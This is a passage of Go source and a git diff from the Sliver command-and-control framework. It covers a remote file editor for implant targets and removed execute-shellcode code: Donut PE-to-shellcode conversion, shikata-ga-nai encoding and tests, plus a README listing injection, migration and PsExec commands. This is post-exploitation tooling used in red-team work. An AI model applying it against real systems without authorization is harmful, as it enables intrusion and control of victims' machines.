lineEnding := detectLineEnding(data)
content := normalizeLineEndings(data)
lexer, lexerName, err := resolveSyntax(cmd, path, string(data))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
showLineNumbers, _ := cmd.Flags().GetBool("line-numbers")
for {
result, err := runEditor(content, path, lexer, lexerName, showLineNumbers)
if err != nil {
con.PrintErrorf("Editor error: %s\n", err)
return
}
content = result.Content
if result.Action == actionNone {
return
}
if !result.Modified {
if result.Action == actionSaveQuit {
con.PrintInfof("No changes to upload for %s\n", path)
}
return
}
switch result.Action {
case actionSaveQuit:
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if !uploadNow {
keepEditing, err := confirm("Continue editing?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if keepEditing {
continue
}
return
}
uploadData := applyLineEnding(content, lineEnding)
if err := uploadEditedContent(cmd, con, path, uploadData); err != nil {
con.PrintErrorf("%s\n", err)
}
return
case actionQuit:
if result.Force {
return
}
discard, err := confirm("Discard changes?")
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if discard {
return
}
}
}
}
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
}
editor, ok := finalModel.(*editorModel)
if !ok {
return editorResult{}, fmt.Errorf("unexpected editor state")
}
return editor.result(), nil
}
func downloadRemote(ctx context.Context, con *console.SliverClient, cmd *cobra.Command, path string) (*sliverpb.Download, error) {
download, err := con.Rpc.Download(ctx, &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
RestrictedToFile: true,
})
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
taskID := download.Response.TaskID
download = &sliverpb.Download{}
if err := waitForBeaconTaskResponse(ctx, con, taskID, download); err != nil {
return nil, err
}
}
return download, nil
}
func uploadEditedContent(cmd *cobra.Command, con *console.SliverClient, path string, data []byte) error {
ctx, cancel := con.GrpcContext(cmd)
defer cancel()
uploadData, err := new(encoders.Gzip).Encode(data)
if err != nil {
return err
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Uploading %s ...", path), ctrl)
upload, err := con.Rpc.Upload(ctx, &sliverpb.UploadReq{
Request: con.ActiveTarget.Request(cmd),
Path: path,
Data: uploadData,
Encoder: "gzip",
IsDirectory: false,
Overwrite: true,
})
if err == nil && upload.Response != nil && upload.Response.Async {
taskID := upload.Response.TaskID
upload = &sliverpb.Upload{}
err = waitForBeaconTaskResponse(ctx, con, taskID, upload)
}
ctrl <- true
<-ctrl
if err != nil {
return err
}
filesystem.PrintUpload(upload, con)
return nil
}
func waitForBeaconTaskResponse(ctx context.Context, con *console.SliverClient, taskID string, out proto.Message) error {
task, err := waitForBeaconTask(ctx, con, taskID)
if err != nil {
return err
}
state := strings.ToLower(task.State)
if state != "completed" {
if state == "" {
state = "unknown"
}
return fmt.Errorf("beacon task %s %s", task.ID, state)
}
if len(task.Response) == 0 {
return fmt.Errorf("beacon task %s returned empty response", task.ID)
}
return proto.Unmarshal(task.Response, out)
}
func waitForBeaconTask(ctx context.Context, con *console.SliverClient, taskID string) (*clientpb.BeaconTask, error) {
ticker := time.NewTicker(beaconPollInterval)
defer ticker.Stop()
for {
task, err := con.Rpc.GetBeaconTaskContent(ctx, &clientpb.BeaconTask{ID: taskID})
if err != nil {
return nil, err
}
state := strings.ToLower(task.State)
if state == "completed" || state == "failed" || state == "canceled" {
return task, nil
}
select {
case <-ctx.Done():
return nil, ctx.Err()
case <-ticker.C:
}
}
}
func resolveSyntax(cmd *cobra.Command, path string, content string) (chroma.Lexer, string, error) {
syntaxName, _ := cmd.Flags().GetString("syntax")
selectSyntax, _ := cmd.Flags().GetBool("syntax-select")
syntaxName = strings.TrimSpace(syntaxName)
if strings.EqualFold(syntaxName, "auto") {
syntaxName = ""
}
if syntaxName != "" {
if strings.EqualFold(syntaxName, "none") {
return nil, "none", nil
}
lexer := lexers.Get(syntaxName)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", syntaxName)
}
name := lexer.Config().Name
if name == "" {
name = syntaxName
}
return lexer, name, nil
}
if selectSyntax {
options := syntaxOptions()
selection := "auto"
if err := forms.Select("Syntax highlighting", options, &selection); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return detectSyntax(path, content)
}
return nil, "", err
}
if strings.EqualFold(selection, "none") {
return nil, "none", nil
}
if strings.EqualFold(selection, "auto") {
return detectSyntax(path, content)
}
lexer := lexers.Get(selection)
if lexer == nil {
return nil, "", fmt.Errorf("unknown syntax lexer: %s", selection)
}
name := lexer.Config().Name
if name == "" {
name = selection
}
return lexer, name, nil
}
return detectSyntax(path, content)
}
func detectSyntax(path string, content string) (chroma.Lexer, string, error) {
lexer := lexers.Match(path)
if lexer == nil {
lexer = lexers.Analyse(content)
}
if lexer == nil {
lexer = lexers.Fallback
}
name := lexer.Config().Name
if name == "" {
name = "auto"
}
return lexer, name, nil
}
func syntaxOptions() []string {
names := lexers.Names(true)
sort.Strings(names)
options := make([]string, 0, len(names)+2)
options = append(options, "auto", "none")
options = append(options, names...)
return options
}
func confirm(title string) (bool, error) {
answer := false
if err := forms.Confirm(title, &answer); err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return false, nil
}
return false, err
}
return answer, nil
}
func detectLineEnding(data []byte) string {
if strings.Contains(string(data), "\r\n") {
return "\r\n"
}
return "\n"
}
func normalizeLineEndings(data []byte) string {
content := strings.ReplaceAll(string(data), "\r\n", "\n")
content = strings.ReplaceAll(content, "\r", "\n")
return content
}
func applyLineEnding(content, lineEnding string) []byte {
if lineEnding == "\r\n" {
content = strings.ReplaceAll(content, "\n", "\r\n")
}
return []byte(content)
}
func isText(sample []byte) bool {
const max = 1024
if len(sample) > max {
sample = sample[:max]
}
for i, c := range string(sample) {
if i+utf8.UTFMax > len(sample) {
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
return false
}
}
return true
}
File diff suppressed because it is too large. Load diff
+3 -11
View File
@@ -1,12 +1,4 @@
# client/command/environment
Environment
===========
## Overview
Implements the 'environment' command group for the Sliver client console. Handlers map Cobra invocations to environment workflows such as GET, SET, and unset.
## Go Files
- `commands.go` – Declares environment command variations and wires subcommands for get/set/unset operations with shared flags.
- `get.go` – Invokes the RPC to retrieve environment variables and prints the results for sessions or beacons.
- `set.go` – Handles setting environment variables remotely, including beacon callback handling and result formatting.
- `unset.go` – Removes environment variables on the remote target and reports task outcomes back to the user.
Contains command implementations for manipulating remote environment variables.
+3 -18
View File
@@ -1,19 +1,4 @@
# client/command/exec
Exec
====
## Overview
Implements the 'exec' command group for the Sliver client console. Handlers map Cobra invocations to exec workflows such as execute assembly, execute shellcode, execute, and migrate.
## Go Files
- `commands.go` – Registers the exec command family and binds shared flags across execution techniques.
- `execute-assembly.go` – Uploads .NET assemblies and triggers in-memory execution, handling results and loot capture.
- `execute-shellcode.go` – Executes raw shellcode via RPC, supporting interactive injection and task result printing.
- `execute.go` – Runs arbitrary commands, streams combined stdout/stderr, and persists output as loot when requested.
- `migrate.go` – Implements process migration, moving implants into new host processes and reporting completion.
- `msf-inject.go` – Coordinates Metasploit payload injection tasks and prints remote execution responses.
- `msf.go` – Launches Metasploit jobs on targets and tracks their beacon callbacks.
- `psexec.go` – Provides PsExec-style remote service deployment using generated binaries and random filenames.
- `sideload.go` – Executes unmanaged DLL exports in a remote process and summarizes task output.
- `spawndll.go` – Spawns new processes with DLL injection, capturing returned handles and statuses.
- `ssh.go` – Runs remote commands over SSH, sourcing credentials from loot and presenting command output.
Implements execution related commands like `execute`, `execute-shellcode`, `execute-assembly`, etc.
+2 -38
View File
@@ -1,11 +1,9 @@
package exec
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
@@ -27,15 +25,12 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("output", "o", true, "capture command output")
f.Bool("background", false, "start the process in the background and track it")
f.BoolP("output", "o", false, "capture command output")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.Bool("env-inheritance", false, "inherit environment variables from the current process")
f.StringArray("env", nil, "set an environment variable for the child process (key=value)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
@@ -47,20 +42,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
executeChildrenCmd := &cobra.Command{
Use: consts.ExecuteChildrenStr,
Short: "List tracked background execute child processes",
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ExecuteChildrenCmd(cmd, con, args)
},
}
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
executeCmd.AddCommand(executeChildrenCmd)
executeAssemblyCmd := &cobra.Command{
Use: consts.ExecuteAssemblyStr,
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
@@ -94,7 +75,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(executeAssemblyCmd, 0)
executeShellcodeCmd := &cobra.Command{
Use: consts.ExecuteShellcodeStr,
@@ -114,14 +94,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
f.Uint32("shellcode-entropy", 1, "Shellcode entropy (Donut: 1=none, 2=random names, 3=random+encrypt) (windows PE input only)")
f.Bool("shellcode-compress", false, "Enable shellcode compression (aPLib) (windows PE input only)")
f.Uint32("shellcode-exitopt", 1, "Shellcode exit option (Donut: 1=exit thread, 2=exit process, 3=block) (windows PE input only)")
f.Uint32("shellcode-bypass", 3, "Shellcode bypass mode (Donut: 1=none, 2=abort, 3=continue) (windows PE input only)")
f.Uint32("shellcode-headers", 1, "Shellcode headers handling (Donut: 1=overwrite, 2=keep) (windows PE input only)")
f.Bool("shellcode-thread", false, "Run unmanaged EXE entrypoint as a new thread (Donut) (windows PE input only)")
f.Bool("shellcode-unicode", false, "Use Unicode command line for unmanaged DLL entrypoints (Donut) (windows PE input only)")
f.Uint32("shellcode-oep", 0, "Override original entry point (OEP) (Donut) (windows PE input only)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
@@ -129,7 +101,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["shikata-ga-nai"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures")
})
carapace.Gen(executeShellcodeCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shellcode file (required)"))
completers.RegisterLocalFilePathPositionalCompletion(executeShellcodeCmd, 0)
sideloadCmd := &cobra.Command{
Use: consts.SideloadStr,
@@ -158,7 +129,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(sideloadCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to shared library file (required)"))
carapace.Gen(sideloadCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the binary (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(sideloadCmd, 0)
spawnDllCmd := &cobra.Command{
Use: consts.SpawnDllStr,
@@ -187,7 +157,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
carapace.Gen(spawnDllCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to DLL file (required)"))
carapace.Gen(spawnDllCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the DLL entrypoint (optional)"))
completers.RegisterLocalFilePathPositionalCompletion(spawnDllCmd, 0)
migrateCmd := &cobra.Command{
Use: consts.MigrateStr,
@@ -200,14 +169,11 @@ func Commands(con *console.SliverClient) []*cobra.Command {
Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
}
flags.Bind("", false, migrateCmd, func(f *pflag.FlagSet) {
f.String("shellcode-encoder", "", "shellcode encoder to apply (optional; see `shellcode-encoders`)")
f.BoolP("disable-sgn", "S", true, "disable shikata ga nai shellcode encoder")
f.Uint32P("pid", "p", 0, "process id to migrate into")
f.StringP("process-name", "n", "", "name of the process to migrate into")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(migrateCmd, func(comp *carapace.ActionMap) {
(*comp)["shellcode-encoder"] = shellcodeencoders.ShellcodeEncoderNameCompleter(con)
})
carapace.Gen(migrateCmd).PositionalCompletion(carapace.ActionValues().Usage("PID of process to migrate into"))
msfCmd := &cobra.Command{
@@ -273,7 +239,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["custom-exe"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletion(psExecCmd, "custom-exe")
carapace.Gen(psExecCmd).PositionalCompletion(carapace.ActionValues().Usage("hostname (required)"))
sshCmd := &cobra.Command{
@@ -304,7 +269,6 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["private-key"] = carapace.ActionFiles()
(*comp)["kerberos-keytab"] = carapace.ActionFiles()
})
completers.RegisterLocalFilePathFlagCompletions(sshCmd, "private-key", "kerberos-keytab")
carapace.Gen(sshCmd).PositionalCompletion(carapace.ActionValues().Usage("remote host to SSH to (required)"))
carapace.Gen(sshCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("command line with arguments"))
+3 -2
View File
@@ -24,8 +24,8 @@ import (
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/spf13/cobra"
@@ -82,7 +82,8 @@ func ExecuteAssemblyCmd(cmd *cobra.Command, con *console.SliverClient, args []st
if len(assemblyArgsStr) > 256 && !inProcess {
con.PrintWarnf(" Injected .NET assembly arguments are limited to 256 characters when using the default fork/exec model.\nConsider using the --in-process flag to execute the .NET assembly in-process and work around this limitation.\n")
confirm := false
_ = forms.Confirm("Do you want to continue?", &confirm)
prompt := &survey.Confirm{Message: "Do you want to continue?"}
survey.AskOne(prompt, &confirm, nil)
if !confirm {
return
}
-106
View File
@@ -1,106 +0,0 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"sort"
"strings"
"time"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
ctrl := make(chan bool)
con.SpinUntil("Querying execute children ...", ctrl)
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
Request: con.ActiveTarget.Request(cmd),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if execChildren.Response != nil && execChildren.Response.Async {
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintExecuteChildren(execChildren, con)
})
con.PrintAsyncResponse(execChildren.Response)
return
}
PrintExecuteChildren(execChildren, con)
}
// PrintExecuteChildren - Render execute children output.
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
if execChildren == nil || len(execChildren.Children) == 0 {
con.PrintInfof("No tracked background execute children\n")
return
}
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
sort.Slice(children, func(i, j int) bool {
return children[i].StartTime < children[j].StartTime
})
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
for _, child := range children {
state := "running"
exitCode := "-"
if child.Exited {
state = "exited"
exitCode = fmt.Sprintf("%d", child.ExitCode)
}
started := "-"
if child.StartTime != 0 {
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
}
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
}
con.Printf("%s\n", tw.Render())
}
+1 -240
View File
@@ -20,44 +20,27 @@ package exec
import (
"bufio"
"bytes"
"context"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"github.com/Binject/debug/pe"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
wasmdonut "github.com/sliverarmory/wasm-donut"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
const (
defaultExecuteShellcodeDonutEntropy = wasmdonut.DonutEntropyNone
defaultExecuteShellcodeDonutCompress = wasmdonut.DonutCompressNone
defaultExecuteShellcodeDonutExitOpt = wasmdonut.DonutExitThread
defaultExecuteShellcodeDonutBypass = wasmdonut.DonutBypassContinue
defaultExecuteShellcodeDonutHeaders = wasmdonut.DonutHeadersOverwrite
imageFileDLLMask = 0x2000
)
// ExecuteShellcodeCmd - Execute shellcode in-memory.
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
targetName := activeTargetName(session, beacon)
targetOS := activeTargetOS(session, beacon)
targetArch := activeTargetArch(session, beacon)
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
interactive, _ := cmd.Flags().GetBool("interactive")
@@ -77,27 +60,6 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
return
}
shellcodeConfig, shellcodeFlagsChanged, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
shouldConvertPE, isDLLHint := shouldConvertExecuteShellcodePE(shellcodePath, shellcodeFlagsChanged)
if shouldConvertPE {
if targetOS != "windows" {
con.PrintErrorf("PE input and --shellcode-* options are only supported for Windows targets in execute-shellcode\n")
return
}
con.PrintInfof("Converting PE input to shellcode ...\n")
shellcodeBin, err = donutShellcodeFromPE(shellcodeBin, targetArch, isDLLHint, shellcodeConfig)
if err != nil {
con.PrintErrorf("Failed to convert PE input to shellcode: %s\n", err)
return
}
}
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
if shikataGaNai {
if !rwxPages {
@@ -134,7 +96,7 @@ func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverClient, args []s
return
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Sending shellcode to %s ...", targetName)
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
con.SpinUntil(msg, ctrl)
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
Data: shellcodeBin,
@@ -173,186 +135,6 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverClient) {
}
}
func parseExecuteShellcodeFlags(cmd *cobra.Command) (*clientpb.ShellcodeConfig, bool, error) {
shellcodeEntropy, _ := cmd.Flags().GetUint32("shellcode-entropy")
shellcodeCompressEnabled, _ := cmd.Flags().GetBool("shellcode-compress")
shellcodeExitOpt, _ := cmd.Flags().GetUint32("shellcode-exitopt")
shellcodeBypass, _ := cmd.Flags().GetUint32("shellcode-bypass")
shellcodeHeaders, _ := cmd.Flags().GetUint32("shellcode-headers")
shellcodeThread, _ := cmd.Flags().GetBool("shellcode-thread")
shellcodeUnicode, _ := cmd.Flags().GetBool("shellcode-unicode")
shellcodeOEP, _ := cmd.Flags().GetUint32("shellcode-oep")
anyChanged := cmd.Flags().Changed("shellcode-entropy") ||
cmd.Flags().Changed("shellcode-compress") ||
cmd.Flags().Changed("shellcode-exitopt") ||
cmd.Flags().Changed("shellcode-bypass") ||
cmd.Flags().Changed("shellcode-headers") ||
cmd.Flags().Changed("shellcode-thread") ||
cmd.Flags().Changed("shellcode-unicode") ||
cmd.Flags().Changed("shellcode-oep")
if shellcodeEntropy < 1 || shellcodeEntropy > 3 {
return nil, false, fmt.Errorf("shellcode-entropy must be between 1 and 3")
}
if shellcodeExitOpt < 1 || shellcodeExitOpt > 3 {
return nil, false, fmt.Errorf("shellcode-exitopt must be between 1 and 3")
}
if shellcodeBypass < 1 || shellcodeBypass > 3 {
return nil, false, fmt.Errorf("shellcode-bypass must be between 1 and 3")
}
if shellcodeHeaders < 1 || shellcodeHeaders > 2 {
return nil, false, fmt.Errorf("shellcode-headers must be 1 or 2")
}
shellcodeCompress := uint32(1)
if shellcodeCompressEnabled {
shellcodeCompress = 2
}
return &clientpb.ShellcodeConfig{
Entropy: shellcodeEntropy,
Compress: shellcodeCompress,
ExitOpt: shellcodeExitOpt,
Bypass: shellcodeBypass,
Headers: shellcodeHeaders,
Thread: shellcodeThread,
Unicode: shellcodeUnicode,
OEP: shellcodeOEP,
}, anyChanged, nil
}
func shouldConvertExecuteShellcodePE(shellcodePath string, shellcodeFlagsChanged bool) (bool, bool) {
ext := strings.ToLower(filepath.Ext(shellcodePath))
isPEByExt := ext == ".exe" || ext == ".dll"
return isPEByExt || shellcodeFlagsChanged, ext == ".dll"
}
func activeTargetName(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetName()
}
if beacon != nil {
return beacon.GetName()
}
return "target"
}
func activeTargetOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return strings.ToLower(session.GetOS())
}
if beacon != nil {
return strings.ToLower(beacon.GetOS())
}
return ""
}
func activeTargetArch(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.GetArch()
}
if beacon != nil {
return beacon.GetArch()
}
return ""
}
type executeShellcodeDonutOptions struct {
entropy int
compress int
exitOpt int
bypass int
headers int
thread bool
unicode bool
oep uint32
}
func normalizeExecuteShellcodeDonutConfig(config *clientpb.ShellcodeConfig) executeShellcodeDonutOptions {
opts := executeShellcodeDonutOptions{
entropy: defaultExecuteShellcodeDonutEntropy,
compress: defaultExecuteShellcodeDonutCompress,
exitOpt: defaultExecuteShellcodeDonutExitOpt,
bypass: defaultExecuteShellcodeDonutBypass,
headers: defaultExecuteShellcodeDonutHeaders,
}
if config == nil {
return opts
}
if config.Entropy >= 1 && config.Entropy <= 3 {
opts.entropy = int(config.Entropy)
}
if config.Compress >= 1 && config.Compress <= 2 {
opts.compress = int(config.Compress)
}
if config.ExitOpt >= 1 && config.ExitOpt <= 3 {
opts.exitOpt = int(config.ExitOpt)
}
if config.Bypass >= 1 && config.Bypass <= 3 {
opts.bypass = int(config.Bypass)
}
if config.Headers >= 1 && config.Headers <= 2 {
opts.headers = int(config.Headers)
}
opts.thread = config.Thread
opts.unicode = config.Unicode
if config.OEP > 0 {
opts.oep = config.OEP
}
return opts
}
func donutShellcodeFromPE(data []byte, arch string, isDLLHint bool, config *clientpb.ShellcodeConfig) ([]byte, error) {
peFile, err := pe.NewFile(bytes.NewReader(data))
if err != nil {
return nil, err
}
isDLL := isDLLHint || ((peFile.FileHeader.Characteristics & imageFileDLLMask) != 0)
ext := ".exe"
if isDLL {
ext = ".dll"
}
opts := normalizeExecuteShellcodeDonutConfig(config)
result, err := wasmdonut.Generate(context.Background(), data, ext, wasmdonut.GenerateOptions{
Ext: ext,
Arch: getExecuteShellcodeDonutArch(arch),
Bypass: opts.bypass,
Headers: opts.headers,
Entropy: opts.entropy,
Compress: opts.compress,
ExitOpt: opts.exitOpt,
Thread: opts.thread,
Unicode: opts.unicode,
OEP: opts.oep,
})
if err != nil {
return nil, err
}
return addExecuteShellcodeStackCheck(result.Loader), nil
}
func getExecuteShellcodeDonutArch(arch string) int {
donutArch := wasmdonut.DonutArchX84
switch strings.ToLower(arch) {
case "x32", "x86", "386":
donutArch = wasmdonut.DonutArchX86
case "x64", "amd64":
donutArch = wasmdonut.DonutArchX64
case "x84":
donutArch = wasmdonut.DonutArchX84
}
return donutArch
}
func addExecuteShellcodeStackCheck(shellcode []byte) []byte {
stackCheckPrologue := []byte{
0x48, 0x83, 0xE4, 0xF0, // and rsp,0xfffffffffffffff0
0x48, 0x83, 0xC4, 0x08, // add rsp,0x8
}
return append(stackCheckPrologue, shellcode...)
}
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverClient) {
// Check active session
session := con.ActiveTarget.GetSessionInteractive()
@@ -375,25 +157,10 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
var rows uint32
var cols uint32
if !noPty {
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
if err != nil || rowsInt <= 0 || colsInt <= 0 {
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
}
if err == nil && rowsInt > 0 && colsInt > 0 {
rows = uint32(rowsInt)
cols = uint32(colsInt)
}
}
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(cmd),
Path: hostProc,
EnablePTY: !noPty,
Rows: rows,
Cols: cols,
TunnelID: tunnel.ID,
})
if err != nil {
@@ -433,12 +200,6 @@ func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, r
}
}
stopPtyResize := func() {}
if !noPty {
stopPtyResize = startPtyResizeWatcher(con, cmd, tunnel.ID)
}
defer stopPtyResize()
log.Printf("Starting stdin/stdout shell ...")
go func() {
n, err := io.Copy(os.Stdout, tunnel)
@@ -1,100 +0,0 @@
package exec
import (
"testing"
"github.com/spf13/cobra"
)
func TestParseExecuteShellcodeFlagsDefaults(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if changed {
t.Fatalf("expected changed=false with defaults")
}
if cfg == nil {
t.Fatalf("expected non-nil config")
}
if cfg.Entropy != 1 || cfg.Compress != 1 || cfg.ExitOpt != 1 || cfg.Bypass != 3 || cfg.Headers != 1 {
t.Fatalf("unexpected defaults: %+v", cfg)
}
if cfg.Thread || cfg.Unicode || cfg.OEP != 0 {
t.Fatalf("unexpected default bool/OEP values: %+v", cfg)
}
}
func TestParseExecuteShellcodeFlagsChanged(t *testing.T) {
cmd := newExecuteShellcodeFlagsTestCommand(t)
if err := cmd.Flags().Set("shellcode-entropy", "2"); err != nil {
t.Fatalf("set shellcode-entropy: %v", err)
}
if err := cmd.Flags().Set("shellcode-compress", "true"); err != nil {
t.Fatalf("set shellcode-compress: %v", err)
}
if err := cmd.Flags().Set("shellcode-thread", "true"); err != nil {
t.Fatalf("set shellcode-thread: %v", err)
}
cfg, changed, err := parseExecuteShellcodeFlags(cmd)
if err != nil {
t.Fatalf("parseExecuteShellcodeFlags returned error: %v", err)
}
if !changed {
t.Fatalf("expected changed=true")
}
if cfg.Entropy != 2 || cfg.Compress != 2 || !cfg.Thread {
t.Fatalf("unexpected changed config: %+v", cfg)
}
}
